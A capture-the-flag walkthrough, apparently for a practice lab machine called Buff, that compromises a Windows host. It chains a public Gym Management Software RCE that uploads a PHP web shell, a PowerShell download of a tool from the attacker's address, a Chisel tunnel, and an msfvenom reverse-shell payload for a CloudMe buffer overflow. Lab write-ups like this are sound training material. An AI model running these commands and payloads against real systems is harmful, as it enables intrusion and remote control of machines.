Again, we start with ./autorecon.py 10.10.10.198
Looks like we only have two ports, 8080 and 7680 to play with. HTTP on 8080 with a simple "Fitness Training" page. If we go to the "Contact" page, we can see that the site was created using Gym Management Software 1.0.
A little bit of research brings us to https://www.exploit-db.com/exploits/48506, complete with pre-built exploit, but there's a simpler way.
Run chmod +x RCE-ex.py and then ./RCE-ex.py and it uploads the php code.
We can test the RCE success by opening http://10.10.10.198:8080/upload/test.php?cmd=whoami and if we get a username, then we have a successful RCE and can use it to get a proper reverse shell.
Great! We have a successful RCE. Now let's use it to gain a shell. Move the nc.exe file from /usr/share/windows-resources/binaries/nc.exe to your ./results/10.10.10.198/exploit folder from AutoRecon. Then set up an HTTP server on your machine and a Netcat listener in a second terminal. Something like this:
└─$ sudo mv /usr/share/windows-resources/binaries/nc.exe ./nc.exe
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
└─$ nc -lvnp 4444
listening on [any] 4444 ...
From a browser:
You should see the first browser address reach into your http.server window and get nc.exe. You should see the second address run the Netcat callback to your nc -lvnp 4444 window.
As we look around and run JAWS (found here), we notice that something is listening on port 8888 and inside Shaun's Downloads folder is a CloudMe_1112.exe file. Searching the ExploitDB, we find https://www.exploit-db.com/exploits/48389 which gives up the padding, EIP address, and nops and using the Venom Builder built inside of Pentest Workshop then we can build our own payload. First, though, we need to tunnel port 8888. We can use Chisel for this. Simply:
sudo apt-get install chisel
chisel server -p 9999- -reverse
Then, upload chisel to the Windows box. You can do this by:
mv chisel_1.7.3_windows_amd64 chisel.exe
On Buff, you should already be in the C:\Users\Shaun\Downloads folder. So, just run:
Powershell.exe Invoke-WebRequest -URI http://10.10.14.2/chisel.exe -OutFile ./chisel.exe
chisel.exe client 10.10.14.2:9999 R:8888:127.0.0.1:8888
You will know if it worked (mine didn't at first) when the windows says Connected.
So now that we are tunneled, let's modify the payload from the ExploitDB script to call back to us using that Venom Builder. The command came out as:
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 EXITFUNC=thread -b "\x00\x0d\x0a" -f python
Replace the payload in the ExploitDB code, with the one from msfvenom. Little trick, you will have to change the buf = and buf += to payload for the script to work, but only in the Venom generated information. There's actually another buf variable that the script uses and you don't want to accidentally overwrite that. Here's how my code ended up.
From here, set up a netcat listener in one terminal and run the script in python3 in another on. Instant Administator shell. Grab your proof (user flag; root flag; hostname; ipconfig; whoami) and you're done! Move on to the next!